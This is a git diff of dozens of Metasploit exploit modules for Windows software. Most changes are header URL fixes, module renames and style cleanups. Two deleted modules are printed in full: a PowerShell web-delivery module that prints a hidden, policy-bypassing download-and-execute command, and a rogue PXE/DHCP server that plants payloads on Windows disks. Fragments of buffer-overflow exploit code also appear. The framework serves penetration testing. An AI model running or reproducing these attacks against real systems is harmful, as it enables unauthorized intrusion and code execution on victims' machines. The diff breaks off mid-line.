a/modules/exploits/windows/misc/ib_svc_attach.rb +++ b/modules/exploits/windows/misc/ib_svc_attach.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -115,12 +115,6 @@ class Metasploit3 < Msf::Exploit::Remote connect - # Attach database - op_attach = 19 - - # Create database - op_create = 20 - # Service attach op_service_attach = 82 diff --git a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb index 942d478bb0..7d538a816f 100644 --- a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb +++ b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb index 7b6e5330cf..b9be472306 100644 --- a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb +++ b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -85,8 +85,8 @@ class Metasploit3 < Msf::Exploit::Remote end # If there is no subdirectory in the request, we need to redirect. - if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//) - if (request.uri == '/') + if request.uri == '/' || request.uri !~ /\/[^\/]+\// + if request.uri == '/' subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote # dispatch based on extension if (request.uri =~ /\.dll$/i) print_status("Sending DLL") - return if ((p = regenerate_payload(cli)) == nil) + return unless regenerate_payload(cli) dll_payload = generate_payload_dll send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' }) else diff --git a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb index 3b0d11939a..cf81053e33 100644 --- a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb +++ b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb index bef570f7d3..1457cd8de1 100644 --- a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb +++ b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Insufficient data from CAD service.") return nil end - rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i + data[24,port_str_len].unpack('n*').pack('C*').to_i end diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb index d4d563a13a..e101f6beda 100644 --- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb +++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/landesk_aolnsrvr.rb b/modules/exploits/windows/misc/landesk_aolnsrvr.rb index e81ce1a869..fc6e775b23 100644 --- a/modules/exploits/windows/misc/landesk_aolnsrvr.rb +++ b/modules/exploits/windows/misc/landesk_aolnsrvr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/lianja_db_net.rb b/modules/exploits/windows/misc/lianja_db_net.rb index cd13ef95d9..9831813bbc 100644 --- a/modules/exploits/windows/misc/lianja_db_net.rb +++ b/modules/exploits/windows/misc/lianja_db_net.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/mercury_phonebook.rb b/modules/exploits/windows/misc/mercury_phonebook.rb index 92a3f13b15..a856002418 100644 --- a/modules/exploits/windows/misc/mercury_phonebook.rb +++ b/modules/exploits/windows/misc/mercury_phonebook.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Mercury/32 <= v4.01b PH Server Module Buffer Overflow', + 'Name' => 'Mercury/32 PH Server Module Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Mercury/32 <= v4.01b PH Server Module. This issue is diff --git a/modules/exploits/windows/misc/mini_stream.rb b/modules/exploits/windows/misc/mini_stream.rb index e53e610497..f7f4369a32 100644 --- a/modules/exploits/windows/misc/mini_stream.rb +++ b/modules/exploits/windows/misc/mini_stream.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/mirc_privmsg_server.rb b/modules/exploits/windows/misc/mirc_privmsg_server.rb index b76e91df8f..c147e4ca8a 100644 --- a/modules/exploits/windows/misc/mirc_privmsg_server.rb +++ b/modules/exploits/windows/misc/mirc_privmsg_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'mIRC <= 6.34 PRIVMSG Handling Stack Buffer Overflow', + 'Name' => 'mIRC PRIVMSG Handling Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier. By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_client_connect(client) - return if ((p = regenerate_payload(client)) == nil) + return unless regenerate_payload(client) print_status("Client connected! Sending payload...") buffer = ":my_irc_server.com 001 wow :Welcome to the #{datastore['SRVNAME']} wow\r\n" client.put(buffer) diff --git a/modules/exploits/windows/misc/ms07_064_sami.rb b/modules/exploits/windows/misc/ms07_064_sami.rb index ee906c7f77..8450f0562a 100644 --- a/modules/exploits/windows/misc/ms07_064_sami.rb +++ b/modules/exploits/windows/misc/ms07_064_sami.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft DirectX DirectShow SAMI Buffer Overflow', + 'Name' => 'MS07-064 Microsoft DirectX DirectShow SAMI Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the DirectShow Synchronized Accessible Media Interchanged (SAMI) parser in quartz.dll. This module diff --git a/modules/exploits/windows/misc/ms10_104_sharepoint.rb b/modules/exploits/windows/misc/ms10_104_sharepoint.rb index f42f087f30..9112183f0c 100644 --- a/modules/exploits/windows/misc/ms10_104_sharepoint.rb +++ b/modules/exploits/windows/misc/ms10_104_sharepoint.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize super( - 'Name' => 'Microsoft Office SharePoint Server 2007 Remote Code Execution', + 'Name' => 'MS10-104 Microsoft Office SharePoint Server 2007 Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability found in SharePoint Server 2007 SP2. The software contains a directory traversal, that allows a remote attacker to write diff --git a/modules/exploits/windows/misc/netcat110_nt.rb b/modules/exploits/windows/misc/netcat110_nt.rb index a6942092fc..a89f98e2de 100644 --- a/modules/exploits/windows/misc/netcat110_nt.rb +++ b/modules/exploits/windows/misc/netcat110_nt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/nettransport.rb b/modules/exploits/windows/misc/nettransport.rb index d95f2aef90..20139031b8 100644 --- a/modules/exploits/windows/misc/nettransport.rb +++ b/modules/exploits/windows/misc/nettransport.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 47d2eb9089..f4548055e7 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => "Poison Ivy 2.3.2 C&C Server Buffer Overflow", + 'Name' => "Poison Ivy Server Buffer Overflow", 'Description' => %q{ This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server. The exploit does not need to know the password chosen for the bot/server @@ -154,7 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote connect print_status("Performing handshake...") sock.put("\x00" * 256) - sock.get + sock.get_once(-1, 10) # Don't change the nulls, or it might not work xploit = '' diff --git a/modules/exploits/windows/misc/poppeeper_date.rb b/modules/exploits/windows/misc/poppeeper_date.rb index 7493959322..9e987f14eb 100644 --- a/modules/exploits/windows/misc/poppeeper_date.rb +++ b/modules/exploits/windows/misc/poppeeper_date.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { @@ -60,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_client_data(client) - return if ((p = regenerate_payload(client)) == nil) + return unless regenerate_payload(client) ok = "+OK\r\n" client.put(ok) diff --git a/modules/exploits/windows/misc/poppeeper_uidl.rb b/modules/exploits/windows/misc/poppeeper_uidl.rb index 125e01b333..b5f896d75b 100644 --- a/modules/exploits/windows/misc/poppeeper_uidl.rb +++ b/modules/exploits/windows/misc/poppeeper_uidl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb deleted file mode 100644 index f85d380c6e..0000000000 --- a/modules/exploits/windows/misc/psh_web_delivery.rb +++ /dev/null @@ -1,62 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Remote::HttpServer - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'PowerShell Payload Web Delivery', - 'Description' => %q{ - This module quickly fires up a web server that serves the payload in PowerShell. - The provided command will start PowerShell and then download and execute the - payload. The IEX command can also be extracted to execute directly from PowerShell. - The main purpose of this module is to quickly establish a session on a target - machine when the attacker has to manually type in the command himself, e.g. RDP - Session, Local Access or maybe Remote Command Exec. This attack vector does not - write to disk so is less likely to trigger AV solutions and will allow privilege - escalations supplied by Meterpreter. Ensure the payload architecture matches the - target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Ben Campbell ', - 'Chris Campbell' #@obscuresec - Inspiration n.b. no relation! - ], - 'References' => - [ - [ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ], - [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], - [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'] - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jul 19 2013')) - end - - def on_request_uri(cli, request) - print_status("Delivering Payload") - data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) - send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) - end - - def primer - url = get_uri() - download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" - print_status("Run the following command on the target machine:") - print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"") - end -end - diff --git a/modules/exploits/windows/misc/pxexploit.rb b/modules/exploits/windows/misc/pxexploit.rb deleted file mode 100644 index 561b6d53fc..0000000000 --- a/modules/exploits/windows/misc/pxexploit.rb +++ /dev/null @@ -1,162 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex/proto/tftp' -require 'rex/proto/dhcp' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::TFTPServer - include Msf::Auxiliary::Report - - def initialize - super( - 'Name' => 'PXE Exploit Server', - 'Description' => %q{ - This module provides a PXE server, running a DHCP and TFTP server. - The default configuration loads a linux kernel and initrd into memory that - reads the hard drive; placing the payload on the hard drive of any Windows - partition seen. - - Note: the displayed IP address of a target is the address this DHCP server - handed out, not the "normal" IP address the host uses. - }, - 'Author' => [ 'scriptjunkie' ], - 'License' => MSF_LICENSE, - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Payload' => - { - 'Space' => 4500, - 'DisableNops' => 'True', - }, - 'Platform' => 'win', - 'DisclosureDate' => 'Aug 05 2011', - 'Targets' => - [ - [ 'Windows Universal', - { - } - ], - ], - 'Privileged' => true, - 'Stance' => Msf::Exploit::Stance::Passive, - 'DefaultTarget' => 0 - ) - - register_options( - [ - OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ]) - ], self.class) - - register_advanced_options( - [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), - OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), - OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), - OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), - OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), - OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) - ], self.class) - end - - def exploit - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end - datastore['FILENAME'] = "update1" - datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them! - - # Prepare payload - print_status("Creating initrd") - initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom')) - uncompressed = Rex::Text.ungzip(initrd) - payl = payload.generate - uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl - initrd = Rex::Text.gzip(uncompressed) - - # Meterpreter attack - if framework.sessions.include? datastore['SESSION'] - client = framework.sessions[datastore['SESSION']] - if not client.lanattacks - print_status("Loading lanattacks extension...") - client.core.use("lanattacks") - else - if datastore['RESETPXE'] - print_status("Resetting PXE attack...") - client.lanattacks.dhcp.reset - end - end - - print_status("Loading DHCP options...") - client.lanattacks.dhcp.load_options(datastore) - 0.upto(4) do |i| - print_status("Loading file #{i+1} of 5") - if i < 4 - contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}")) - else - contents = initrd - end - client.lanattacks.tftp.add_file("update#{i}",contents) - end - print_status("Starting TFTP server...") - client.lanattacks.tftp.start - print_status("Starting DHCP server...") - client.lanattacks.dhcp.start - print_status("pxesploit attack started") - while (true) do - begin - # get stats every 20s - select(nil, nil, nil, 20) - client.lanattacks.dhcp.log.each do |item| - print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+ - "(#{Rex::Socket.addr_ntoa(item[1])})") - report_note({ - :type => 'PXE.client', - :data => item[0].unpack('H2H2H2H2H2H2').join(':') - }) - end - rescue ::Interrupt - print_status("Stopping TFTP server...") - client.lanattacks.tftp.stop - print_status("Stopping DHCP server...") - client.lanattacks.dhcp.stop - print_status("PXEsploit attack stopped") - return - end - end - end - - # normal attack - print_status("Starting TFTP server...") - @tftp = Rex::Proto::TFTP::Server.new - @tftp.set_tftproot(datastore['TFTPROOT']) - @tftp.register_file('update4',initrd) - @tftp.start - - print_status("Starting DHCP server...") - @dhcp = Rex::Proto::DHCP::Server.new( datastore ) - @dhcp.report do |mac, ip| - print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ - "(#{Rex::Socket.addr_ntoa(ip)})") - report_note({ - :type => 'PXE.client', - :data => mac.unpack('H2H2H2H2H2H2').join(':') - }) - end - @dhcp.start - print_status("pxesploit attack started") - - # Wait for finish.. - @tftp.thread.join - @dhcp.thread.join - print_status("pxesploit attack completed") - end - -end diff --git a/modules/exploits/windows/misc/realtek_playlist.rb b/modules/exploits/windows/misc/realtek_playlist.rb index 6cfc92cdd0..9a477457b6 100644 --- a/modules/exploits/windows/misc/realtek_playlist.rb +++ b/modules/exploits/windows/misc/realtek_playlist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/sap_2005_license.rb b/modules/exploits/windows/misc/sap_2005_license.rb index ceed574bf9..54caf13f2d 100644 --- a/modules/exploits/windows/misc/sap_2005_license.rb +++ b/modules/exploits/windows/misc/sap_2005_license.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb index a8f24e80df..9641fcacc5 100644 --- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb +++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/shixxnote_font.rb b/modules/exploits/windows/misc/shixxnote_font.rb index e0a4d06b2c..1b536ec7a4 100644 --- a/modules/exploits/windows/misc/shixxnote_font.rb +++ b/modules/exploits/windows/misc/shixxnote_font.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb index 25ed303ca5..6143ce46ef 100644 --- a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -105,11 +105,11 @@ class Metasploit3 < Msf::Exploit::Remote # op code req = "\xD0\x07\x00\x00" # filename length - req << "#{[fname.length].pack('l')}" + req << "#{[fname.length].pack('V')}" # file name req << "#{fname}" # data length - req << "#{[data.length].pack('l')}" + req << "#{[data.length].pack('V')}" # data req << "#{data}" connect diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb index a623bbaa47..988b83a081 100644 --- a/modules/exploits/windows/misc/splayer_content_type.rb +++ b/modules/exploits/windows/misc/splayer_content_type.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb index ea1da255b5..1d1237953b 100644 --- a/modules/exploits/windows/misc/stream_down_bof.rb +++ b/modules/exploits/windows/misc/stream_down_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/talkative_response.rb b/modules/exploits/windows/misc/talkative_response.rb index 07ab018d5f..4b867975e7 100644 --- a/modules/exploits/windows/misc/talkative_response.rb +++ b/modules/exploits/windows/misc/talkative_response.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { @@ -57,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_client_data(client) - return if ((p = regenerate_payload(client)) == nil) + return unless regenerate_payload(client) sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6) sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded diff --git a/modules/exploits/windows/misc/tiny_identd_overflow.rb b/modules/exploits/windows/misc/tiny_identd_overflow.rb index 72b975c492..cf947bc553 100644 --- a/modules/exploits/windows/misc/tiny_identd_overflow.rb +++ b/modules/exploits/windows/misc/tiny_identd_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb index 65095d3ff2..a7c7d48bfa 100644 --- a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb +++ b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "TrendMicro Control Manger <= v5.5 CmdProcessor.exe Stack Buffer Overflow", + 'Name' => "TrendMicro Control Manger CmdProcessor.exe Stack Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability in the CmdProcessor.exe component of Trend Micro Control Manger up to version 5.5. diff --git a/modules/exploits/windows/misc/ufo_ai.rb b/modules/exploits/windows/misc/ufo_ai.rb index 69b7f54c47..de6bdafa9a 100644 --- a/modules/exploits/windows/misc/ufo_ai.rb +++ b/modules/exploits/windows/misc/ufo_ai.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/windows_rsh.rb b/modules/exploits/windows/misc/windows_rsh.rb index a486d7cd7a..d6acee9bb0 100644 --- a/modules/exploits/windows/misc/windows_rsh.rb +++ b/modules/exploits/windows/misc/windows_rsh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/wireshark_lua.rb b/modules/exploits/windows/misc/wireshark_lua.rb index 63ca919ef1..34fe258f61 100644 --- a/modules/exploits/windows/misc/wireshark_lua.rb +++ b/modules/exploits/windows/misc/wireshark_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -128,9 +128,6 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("Received WebDAV PROPFIND request: #{path}") body = '' - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - my_uri = "http://#{my_host}/" - if path !~ /\/$/ if path.index(".") print_status("Sending 404 for #{path} ...") diff --git a/modules/exploits/windows/misc/wireshark_packet_dect.rb b/modules/exploits/windows/misc/wireshark_packet_dect.rb index a215ba4b48..18d24e0ecc 100644 --- a/modules/exploits/windows/misc/wireshark_packet_dect.rb +++ b/modules/exploits/windows/misc/wireshark_packet_dect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,10 +12,10 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (remote)', + 'Name' => 'Wireshark packet-dect.c Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Wireshark <= 1.4.4 - by sending an malicious packet.) + by sending an malicious packet. }, 'License' => MSF_LICENSE, 'Author' => @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) - deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET','NETMASK','GATEWAY') + deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT') end def junk diff --git a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb index 38369a7685..c20731b6f7 100644 --- a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb +++ b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/motorola/timbuktu_fileupload.rb b/modules/exploits/windows/motorola/timbuktu_fileupload.rb index f277fd2bb1..178db155a1 100644 --- a/modules/exploits/windows/motorola/timbuktu_fileupload.rb +++ b/modules/exploits/windows/motorola/timbuktu_fileupload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb index 22c7d70e9a..a4bb8bffe2 100644 --- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb +++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mssql/ms02_039_slammer.rb b/modules/exploits/windows/mssql/ms02_039_slammer.rb index b136c46864..bebd9c7c2d 100644 --- a/modules/exploits/windows/mssql/ms02_039_slammer.rb +++ b/modules/exploits/windows/mssql/ms02_039_slammer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft SQL Server Resolution Overflow', + 'Name' => 'MS02-039 Microsoft SQL Server Resolution Overflow', 'Description' => %q{ This is an exploit for the SQL Server 2000 resolution service buffer overflow. This overflow is triggered by diff --git 